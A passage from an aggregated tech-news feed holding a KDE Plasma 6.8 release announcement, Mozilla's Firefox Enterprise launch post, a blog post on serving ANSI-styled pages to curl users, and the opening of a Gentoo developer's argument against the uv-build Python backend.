&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://kde.org/announcements/plasma/6/6.8.0/11-amharic-on-screen-keyboard.webp&quot; alt=&quot;Amharic on-screen keyboard&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt; Amharic on-screen keyboard&lt;/p&gt;
&lt;h3&gt;System monitoring&lt;/h3&gt;
&lt;p&gt;Gain an extreme level of control over your system with Plasma’s System Monitor. In Plasma 6.8, you can assign compute-intensive tasks to only the CPUs of your choosing from directly within the monitor, and keep your machine running smoothly.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://kde.org/announcements/plasma/6/6.8.0/20-systemmonitor-affinity.webp&quot; alt=&quot;System Monitor app offering the possibility to change the CPU affinity for the plasmashell process&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;You can also monitor your VRAM more easily, as it now shows the load as an easy-to-read percentage.&lt;/p&gt;
&lt;h3&gt;Remote desktop&lt;/h3&gt;
&lt;p&gt;We’ve invested a great deal of time into polishing the experience provided by Plasma’s built-in remote desktop server. In Plasma 6.8, you’ll be able to enjoy the following improvements — with more in the pipeline:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Much better performance and quality&lt;/strong&gt; that prioritizes latency and responsiveness by adapting to slow networks and rapidly-updating screen content.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exclusive mode&lt;/strong&gt; optionally locks the server’s screen and provides the client with a virtual screen that exactly matches its window size.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bi-directional clipboard synchronization&lt;/strong&gt; makes it easier to exchange content between the server and client.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://kde.org/announcements/plasma/6/6.8.0/23-rdp.webp&quot; alt=&quot;Plasma’s Remote Desktop settings and the KRDC application in use&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h3&gt;Screen casting and recording&lt;/h3&gt;
&lt;p&gt;Spectacle can now optionally include both system audio and microphone input in its screen recordings, making it possible to narrate a recording or accurately record everything that’s going on.&lt;/p&gt;
&lt;p&gt;Plasma’s screen sharing portal dialog lets you create a virtual screen to share, instead of an existing display. In Plasma 6.8, you can now specify the resolution of the virtual screen instead of being limited to only 1920 × 1080.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://kde.org/announcements/plasma/6/6.8.0/25-screencast-portal-resolution.webp&quot; alt=&quot;The screen sharing portal window showing the ability to select a custom resolution for the virtual display&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;In addition, the quality of screen recordings and screencasts has been improved.&lt;/p&gt;
&lt;h3&gt;Nicer-looking third-party app windows&lt;/h3&gt;
&lt;p&gt;We’ve added support for window rules that add desktop shadows, outlines, and rounded corners to client-side-decorated windows that can’t provide these visual niceties themselves. Plasma 6.8 ships with one such rule for Steam, making it feel more at home in Plasma.&lt;/p&gt;
&lt;h3&gt;Window management&lt;/h3&gt;
&lt;p&gt;We’ve added new global shortcuts to help power users manage their open windows with the Task Manager widget. By pressing Meta + Ctrl + Page Up or Page Down, you can cycle between the previous and next tasks. By also holding Shift, you can move the active task backwards and forwards.&lt;/p&gt;
&lt;h2&gt;Setting the stage for decades to come&lt;/h2&gt;
&lt;h3&gt;Theming&lt;/h3&gt;
&lt;p&gt;Four months ago, Plasma 6.7 included an alpha release of the new Union theming system, demonstrating its ability to style Qt Quick applications.&lt;/p&gt;
&lt;p&gt;Plasma 6.8 builds on this with a beta release of Union, including not only refinements for Qt Quick theming, but also the ability to style Qt Widgets applications! This includes KDE’s more traditional desktop applications, such as Dolphin, Kate, and Konsole.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://kde.org/announcements/plasma/6/6.8.0/40-dolphin-union.webp&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;figcaption&gt;Dolphin themed with Union’s Breeze style. Can you tell the difference?&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;While Union is not quite ready to be used by default, Plasma 6.8 brings it ever closer to being a single source of truth for styling all of KDE’s products, and more. To learn more about the current state of Union, read the blog posts from &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://quantumproductions.info/articles/2026-08/union-summer-2026-update&quot;&gt;Arjen&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://akselmo.dev/posts/union-qtwidgets/&quot;&gt;Akseli&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Wayland&lt;/h3&gt;
&lt;p&gt;30 years is an impressive milestone for a community like KDE. But even older is the venerable &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/X_Window_System&quot;&gt;X Window System&lt;/a&gt; (or “X11”), first released in 1984! After 42 years of faithful service, support for starting X11 sessions in Plasma is being retired, in conjunction with full adoption of the newer &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Wayland_%28protocol%29&quot;&gt;Wayland&lt;/a&gt; system.&lt;/p&gt;
&lt;p&gt;Compared to X11, Wayland offers better support for modern screens and graphics cards, and is actively developed.&lt;/p&gt;
&lt;p&gt;The small number of individual apps that still require X11 will continue to work via the “XWayland” compatibility layer.&lt;/p&gt;
&lt;p&gt;KDE applications will continue to support X11 for the foreseeable future.&lt;/p&gt;
&lt;h3&gt;Performance, colors, and graphics&lt;/h3&gt;
&lt;p&gt;As part of the backend improvements included in Plasma 6.8, we’ve made changes to help Plasma load faster and use less memory. Discover’s update notifier now uses less memory, too.&lt;/p&gt;
&lt;p&gt;With KWin, NVIDIA GPUs now use triple buffering by default, and all users will have better-looking HDR when using an ICC color profile. We’ve also added support for the HLG transfer function, which means that certain media and applications that did not previously work in HDR are now working as expected.&lt;/p&gt;
&lt;h2&gt;But that’s not all…&lt;/h2&gt;
&lt;p&gt;Plasma 6.8 is chock-full of smaller changes, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A new &lt;code&gt;kscreenctl&lt;/code&gt; tool makes managing displays from the command-line easier and also offers the potential for scripting and automation.&lt;/li&gt;
&lt;li&gt;Kup, the KDE backup tool, has been polished up and is now released as a part of Plasma.&lt;/li&gt;
&lt;li&gt;We have added EAP-TTLS authentication support for StrongSwan VPNs.&lt;/li&gt;
&lt;li&gt;You can enable and disable auto-starting apps without having to delete and recreate their entries.&lt;/li&gt;
&lt;li&gt;Use the arrow keys to move screens pixel-by-pixel in &lt;em&gt;Display Configuration&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;The system shows a warning notification when trying to print using an unavailable printer.&lt;/li&gt;
&lt;li&gt;Copying secrets such as passwords to the clipboard now clarifies why they are not included in history.&lt;/li&gt;
&lt;li&gt;Emojis in the &lt;em&gt;Emoji Selector&lt;/em&gt; can now be shown at different sizes.&lt;/li&gt;
&lt;li&gt;…and countless bug fixes and small tweaks to make Plasma better than ever!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To see a high-level overview of all user-facing changes, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://community.kde.org/Plasma/Plasma_6#Plasma_6.8&quot;&gt;see the Plasma 6.8 wiki page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To see the full list of &lt;em&gt;all&lt;/em&gt; changes, read the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://kde.org/announcements/changelogs/plasma/6/6.7.5-6.8.0/&quot;&gt;complete changelog&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Feedback&lt;/h2&gt;
&lt;p&gt;Discuss KDE on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://discuss.kde.org/&quot;&gt;KDE Forums&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can provide feedback direct to the developers via the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://go.kde.org/matrix/#/%23plasma:kde.org&quot;&gt;#Plasma Matrix channel&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://mail.kde.org/mailman/listinfo/plasma-devel&quot;&gt;Plasma-devel mailing list&lt;/a&gt; or report issues via &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bugs.kde.org/enter_bug.cgi?product=plasmashell&amp;amp;format=guided&quot;&gt;Bugzilla&lt;/a&gt;. If you like what the team is doing, please let them know!&lt;/p&gt;
&lt;p&gt;Your feedback is greatly appreciated.&lt;/p&gt;
&lt;h2&gt;Supporting KDE&lt;/h2&gt;
&lt;p&gt;KDE is a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/philosophy/free-sw.html&quot;&gt;Free Software&lt;/a&gt; community that exists and grows only because of the help of many volunteers that donate their time and effort. KDE is always looking for new volunteers and contributions, whether it is help with coding, bug fixing or reporting, writing documentation, translations, promotion, money, etc. All contributions are gratefully appreciated and eagerly accepted. Please read through the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://kde.org/community/donations/&quot;&gt;Supporting KDE page&lt;/a&gt; for further information or become a KDE e.V. supporting member through our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://kde.org/community/donations/&quot;&gt;Join the Game&lt;/a&gt; initiative.&lt;/p&gt;
&lt;h2&gt;About KDE&lt;/h2&gt;
&lt;p&gt;KDE is an international technology team that creates free and open source software for desktop and portable computing. Among KDE’s products are a modern desktop system for Linux and UNIX platforms, comprehensive office productivity and groupware suites and hundreds of software titles in many categories including Internet and web applications, multimedia, entertainment, educational, graphics and software development. KDE software is translated into more than 60 languages and is built with ease of use and modern accessibility principles in mind. KDE’s full-featured applications run natively on Linux, BSD, Windows, Haiku, and macOS.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Trademark Notices.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;KDE® and the K Desktop Environment® logo are registered trademarks of KDE e.V..&lt;br /&gt;
Linux is a registered trademark of Linus Torvalds. UNIX is a registered trademark of The Open Group in the United States and other countries.&lt;br /&gt;
All other trademarks and copyrights referred to in this announcement are the property of their respective owners.&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;Press Contacts&lt;/h4&gt;
&lt;p&gt;For more information send us an email: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;mailto:press@kde.org&quot;&gt;press@kde.org&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:1a0bb12ee07d8b05754aa972e7e1b07b17c24b15</id>
    <title type="text">Introducing Firefox Enterprise</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-14-introducing-firefox-enterprise/"/>
    <link rel="via" type="text/html" href="https://blog.mozilla.org/en/firefox/introducing-firefox-enterprise/"/>
    <published>2026-10-14T11:06:48+00:00</published>
    <updated>2026-10-14T11:06:48+00:00</updated>
    <author>
      <name>blog.mozilla.org via viccuad</name>
    </author>
    <category term="news"/>
    <category term="browsers"/>
    <category term="release"/>
    <category term="web"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blog.mozilla.org/wp-content/blogs.dir/278/files/2026/10/Enterprise-Distilled-Thumbnail1-1.png&quot; alt=&quot;&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Institutions are recalculating who controls the technology they rely on. Mozilla has an independent option to offer.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For years, organizations consolidated technology around a small number of providers to make things simpler. Fewer systems. Tighter integrations. More economies of scale. But that consolidation went well beyond technology. It consolidated dependency, too. The resulting risks have been debated, studied, and challenged along the way, but concentration continued. More work, data and critical infrastructure kept moving to the same few providers, while credible alternatives narrowed.&lt;/p&gt;
&lt;p&gt;The deeper that dependency runs, the harder and more costly it becomes to change course. When something fails, changes or falls outside an institution’s control, that dependency becomes a risk for CIOs and CISOs to manage.&lt;/p&gt;
&lt;p&gt;Nowhere are these stakes more visible than in Europe. Now institutions are re-assessing. Governments are pushing for greater digital autonomy, while regulated industries face growing pressure to find and manage their dependencies.&lt;/p&gt;
&lt;p&gt;There’s a name for much of this debate about technological control: “sovereignty.”&lt;/p&gt;
&lt;p&gt;What digital sovereignty means in practice varies. Across Europe, governments are investing in the security and resilience of critical IT infrastructure, reducing strategic dependencies and putting technological autonomy higher on national agendas. Different approaches, same underlying concern. Strip away the regional policy definitions and industry distinctions and a pretty practical, universal question emerges: how much technological dependency should we risk?&lt;/p&gt;
&lt;p&gt;And a very specific, very important layer has been largely missing from that conversation: the browser.&lt;/p&gt;
&lt;h2&gt;The overlooked layer of modern business&lt;/h2&gt;
&lt;p&gt;The browser. Applications run there. Employees authenticate in it. Sensitive data transits through it. Files are uploaded and downloaded and AI tools are increasingly used through it. That raises the same questions of dependency and control: whose browser technology are you relying on, and who controls the infrastructure used to manage it?&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blog.mozilla.org/wp-content/blogs.dir/278/files/2026/10/Data-Control-Hero1-2048x1152.png&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.firefox.com/enterprise/&quot;&gt;Firefox Enterprise&lt;/a&gt; is built for organizations with strict security, governance, and compliance requirements. It pairs the Firefox browser, built on Mozilla’s independent &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.mozilla.org/netpolicy/2026/03/23/competition-innovation-and-the-future-of-the-web/&quot;&gt;Gecko&lt;/a&gt; engine, with a management console organizations can run on their own infrastructure. From that console, IT teams can centrally manage browser policy and access, govern how data moves through the browser and set controls around AI use.&lt;/p&gt;
&lt;p&gt;IT and security teams get more control over their data, IT infrastructure and browser environment — helping strengthen technological independence and operational resilience.&lt;/p&gt;
&lt;p&gt;“If all your options are built with the same technology underneath, ‘choice’ is a lie. So is control,” said Anthony Enzor-DeMeo, CEO of Mozilla. “We built Firefox differently. And we’re bringing its independent architecture to institutions that are ready to rethink their dependencies and risk.”&lt;/p&gt;
&lt;h2&gt;Bringing the browser under control&lt;/h2&gt;
&lt;p&gt;We’re starting with the browser because we see it as a key, but under-governed, layer. Firefox Enterprise gives institutions more control over the browser and the infrastructure managing it.&lt;/p&gt;
&lt;p&gt;And because Firefox runs on Gecko, the only major browser engine developed outside Google and Apple, institutions have another path towards reducing dependence on a single architecture.&lt;/p&gt;
&lt;p&gt;Finally, Firefox Enterprise is built to live alongside the systems that IT operations already use. Keep your identity provider. Keep your SIEM. Keep your MDM. Just add a browser whose management infrastructure you operate, so you decide where data lives and have greater visibility into how it moves.&lt;/p&gt;
&lt;p&gt;For us, supporting the goal of technological sovereignty comes down to four things: More control. More transparency. More choice. More resilience.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.firefox.com/enterprise/firefox-enterprise/&quot;&gt;Learn more&lt;/a&gt; about Firefox Enterprise.&lt;/p&gt;
&lt;h2&gt;A big bet on familiar ground&lt;/h2&gt;
&lt;p&gt;We know this territory. Independence isn’t a new direction for Mozilla. We’ve spent more than 25 years building and securing browser technology that intentionally works outside of the dominant architecture of the day. Firefox is used by roughly 200 million people every month and is already deployed across thousands of organizations.&lt;/p&gt;
&lt;p&gt;That independence has always mattered to the web. Now it has practical value for institutions looking to reduce technological concentration — and dependency — in their own environments.&lt;/p&gt;
&lt;h2&gt;This is the beginning&lt;/h2&gt;
&lt;p&gt;Our ambition is big but simple: make technology independence practical.&lt;/p&gt;
&lt;p&gt;That means putting institutions in real control of the infrastructure and data they depend on, without asking them to rebuild or start over. Closing blind spots. Defining where policies, access and data live. Keeping core management within the institution’s environment. And bringing an overlooked layer — the browser — under institutional control.&lt;/p&gt;
&lt;p&gt;Firefox Enterprise is unveiling across Europe with an initial sales focus on France, Germany, Austria and Switzerland, with more markets to follow. Thunderbird Enterprise is also in development, extending this customer-controlled approach to email and communications. We’ll have more to share as that work progresses.&lt;/p&gt;
&lt;p&gt;If your organization wants greater control over its browser infrastructure, we’d like to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.firefox.com/enterprise/contact/&quot;&gt;work with you&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This post is also available in: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.mozilla.org/de/firefox-de/firefox-enterprise/&quot;&gt;Deutsch (German)&lt;/a&gt; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.mozilla.org/fr/firefox-fr/decouvrez-firefox-enterprise/&quot;&gt;Français (French)&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:a1bcbc075d48a5ac5307ad14c1fddd964b752e26</id>
    <title type="text">Fancy Curl Sites</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-14-fancy-curl-sites/"/>
    <link rel="via" type="text/html" href="https://nytpu.com/gemlog/2026-03-18"/>
    <published>2026-10-14T06:24:41+00:00</published>
    <updated>2026-10-14T06:24:41+00:00</updated>
    <author>
      <name>nytpu.com via seb</name>
    </author>
    <category term="news"/>
    <category term="web"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;h3&gt;March 18, 2026 (Updated: October 14, 2026)&lt;/h3&gt;
&lt;p&gt;So a good while ago I added a fun curl version of my site, meant for viewing in the terminal. Try running these commands!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;curl nytpu.com/gemlog/2026-03-18
# or
curl nytpu.com
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(sorry Windows users, not my fault that ANSI escape codes are disabled-by-default in &lt;code&gt;cmd.exe&lt;/code&gt;. And not my fault that in Powershell you have to use &lt;code&gt;curl.exe&lt;/code&gt; instead of &lt;code&gt;curl&lt;/code&gt; because Powershell inexplicably aliases that to &lt;code&gt;Invoke-WebRequest&lt;/code&gt;.)&lt;/p&gt;
&lt;p&gt;I posted about it a bit on the Fediverse, but otherwise didn&#39;t elaborate much on it becuase I figured it was fairly self-explanatory. But I&#39;ve had a handful of people ask me how I did it, so I decided it might actually be worth it to write a post about how I did it (…like seven months late).&lt;/p&gt;
&lt;p&gt;I should note this idea came from trinkey&#39;s (&lt;code&gt;curl trinkey.com&lt;/code&gt;) and strongsand&#39;s (&lt;code&gt;curl proot.party&lt;/code&gt;) curl sites, I didn&#39;t come up with it myself. Even though I did go about it quite a bit differently from them, all credit for the very cool idea goes to them. (UPDATE: unfortunately neither of their curl versions are functional anymore as of 2026-10-14.)&lt;/p&gt;
&lt;p&gt;First, since it&#39;s the more interesting part, actually generating the ANSI-marked-up files to send to the clients. I entirely hand-wrote the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://git.sr.ht/~nytpu/nytpu.com/tree/master/item/static/curl/index.ansi&quot;&gt;index page&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://git.sr.ht/~nytpu/nytpu.com/tree/master/item/static/curl/about.ansi&quot;&gt;about page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note that I believe trinkey and strongsand generate theirs on-the-fly with the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/ratatui/ratatui&quot;&gt;ratatui&lt;/a&gt; library (or similar), which is probably more convenient; hand-writing it seemed more expedient to me though.&lt;/p&gt;
&lt;p&gt;I had the main escape code—&lt;code&gt;ESC[&lt;/code&gt;, i.e. &lt;code&gt;\x1b[&lt;/code&gt;—&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-1&quot; id=&quot;fnref-1&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt; in a Vim register to easily paste when needed, and then the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/ANSI_escape_code#Select_Graphic_Rendition_parameters&quot;&gt;Wikipedia page for the main graphics codes&lt;/a&gt; open to reference the specific escape codes. And, yeah, that&#39;s about it. I experimented to decide on consistent styling I liked, and just referenced the Gopher version of my pages when crafting the marked-up curl pages.&lt;/p&gt;
&lt;p&gt;Now, the notable thing about my version is that I have curl versions of the entirety of my blog, rather than just one or two pages being available. This is entirely due to a convenient coincidence: over four years ago I implemented outputting ANSI-marked-up plaintext in my custom markup language I use for my blog, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://git.sr.ht/~nytpu/gemroff&quot;&gt;Gemroff&lt;/a&gt;. Originally it was just to allow convenient previewing of drafts in the terminal while writing; but it was trivial to plug into my static site generator to immediately get Curl versions generated.&lt;/p&gt;
&lt;p&gt;I did manually write a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://git.sr.ht/~nytpu/nytpu.com/tree/master/item/templates/gemlog-post.ansi&quot;&gt;wrapper template for blog posts&lt;/a&gt;, as well as a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://git.sr.ht/~nytpu/nytpu.com/tree/master/item/templates/gemlog-index.ansi&quot;&gt;template for the index page listing posts&lt;/a&gt;, but that plus a few extra lines in my static site generator was all that was needed to wire it up.&lt;/p&gt;
&lt;p&gt;This is the main thing that makes it hard to say it&#39;s easy! since it was only easy for me because I use an entirely custom markup language and static site generator and I happened to make the right design choices years ago—e.g. my SSG also happened to already have support for multiple, modular output formats instead of solely HTML like other SSGs, since I tri-host my site on HTTP, Gemini, and Gopher.&lt;/p&gt;
&lt;p&gt;However, offering nothing but a few hand-written pages for fun is a completely acceptable way to set up a site like this anyways, since it&#39;s just a neat gimmick and no one&#39;s likely to actually use it more than a few minutes of browsing.&lt;/p&gt;
&lt;p&gt;Finally, the last step is actually presenting the Curl version of your site to any user agent containing &lt;code&gt;curl&lt;/code&gt;, which for me was just a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nytpu.com/gemlog/files/nytpu.com.conf&quot;&gt;few changes to my Nginx config&lt;/a&gt;, with other servers it&#39;d presumably be equivalently simple. The main feature I wanted was an override header (&lt;code&gt;X-Original: true&lt;/code&gt;) so you could still get an unmodified HTTP response like someone casually running Curl likely wanted, and I wanted everything to be served statically still.&lt;/p&gt;
&lt;p&gt;And… that&#39;s really it! As I said, when I first set it up it seemed fairly self-explanatory to me, but it is very non-orthogonal to what people normally do with either web servers or ANSI escape codes so I can see where people&#39;s curiosity/confusion came from. It would be neat to see more sites doing this trick around!&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-1&quot;&gt;
&lt;p&gt;EMDASH! AI-GENERATED! acksually I&#39;ll have you know that my markup language has had &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://git.sr.ht/~nytpu/gemroff/tree/999d2f7da1757d756b9780c500f233d0b98e7628/item/doc/elements.md?view-source#L49&quot;&gt;an explicit markup element for emdashes since November 2022&lt;/a&gt;. And believe it nor not: LLMs are trained on shit copied from actual authors, so LLMs wouldn&#39;t be using emdashes if they weren&#39;t already used in human-written works.&lt;/p&gt;
&lt;p&gt;And what, am I supposed to avoid having twenty parentheticals a paragraph, to where I feel the need to use emdashes to vary it up? Unthinkable! &lt;a href=&quot;#fnref-1&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:83583ceda50cb8a2cffc9fcc7d8d2025b20cda3c</id>
    <title type="text">A plea not to use uv-build</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-13-a-plea-not-to-use-uv-build/"/>
    <link rel="via" type="text/html" href="https://blogs.gentoo.org/mgorny/2026/10/12/a-plea-not-to-use-uv-build/"/>
    <published>2026-10-13T14:36:52+00:00</published>
    <updated>2026-10-13T14:36:52+00:00</updated>
    <author>
      <name>blogs.gentoo.org via lim</name>
    </author>
    <category term="news"/>
    <category term="devops"/>
    <category term="gentoo"/>
    <category term="python"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;After seeing yet another dozen packages lose keywords on Gentoo because of a single key dependency switching to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://pypi.org/project/uv-build/&quot;&gt;uv-build&lt;/a&gt;, I would like to plea on behalf of Gentoo users: please don’t use uv-build as a build backend. Just to be clear, this is not about &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/astral-sh/uv&quot;&gt;uv&lt;/a&gt; itself or any other Astral tools; these are good tools with a nice and responsive upstream. The uv-build backend is one thing we have to disagree on. I’m not saying it’s bad; I’m saying that its benefits don’t outweigh the drawbacks.&lt;/p&gt;
&lt;p&gt;What are the drawbacks? It’s really big and it’s written in Rust. Rust has many advantages, but none of them really matter for a build backend that is used to build pure Python packages. It’s a huge dependency (as of 0.13.0, its wheels are between 1.2 MiB and 1.5 MiB, depending on the platform) and it has no benefit over using a small pure Python backend (say, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://pypi.org/project/flit-core/&quot;&gt;flit-core&lt;/a&gt; whose wheel is 45 KiB). It means that all Gentoo users need to build it from source, and given that it’s released quite frequently (12 releases in the 30 days prior to writing this post), that’s a lot of building. Like, for every 100 ms spent running uv-build to install one release of your package, Gentoo users will spend many hours building new uv-build versions over and over again.&lt;/p&gt;
&lt;p&gt;However, build times aren’t the biggest problem; portability is. You can run Python pretty much anywhere where you can get a working C compiler. Some minor features may not work, but the core is reasonably portable. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://doc.rust-lang.org/nightly/rustc/platform-support.html&quot;&gt;The list of platforms supported by Rust&lt;/a&gt; is growing slowly, and even if you can get a working Rust compiler on a given platform, uv may not work. The problems can range from bugs in the lot of packages that uv depends on (for example, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/bytecodealliance/rustix/issues/1700&quot;&gt;rustix::fs and its dependencies skipping SPARC, for no apparent reason&lt;/a&gt;), to the resulting executable being so big that the toolchain runs out of address space (and unlike system memory, you can’t really add address space to a system; the Gentoo &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gitweb.gentoo.org/repo/gentoo.git/tree/dev-python/uv/uv-9999.ebuild?id=a18e010bf93fcc1dcba9285f72c07890650508d7&quot;&gt;uv ebuild&lt;/a&gt; already carries two hacks to make it possible to build uv on 32-bit platforms). And then, if your platform is not supported at all… well, let’s just say that adding and maintaining a new platform is a full-time job that may involve a lot of swearing at the code churn.&lt;/p&gt;
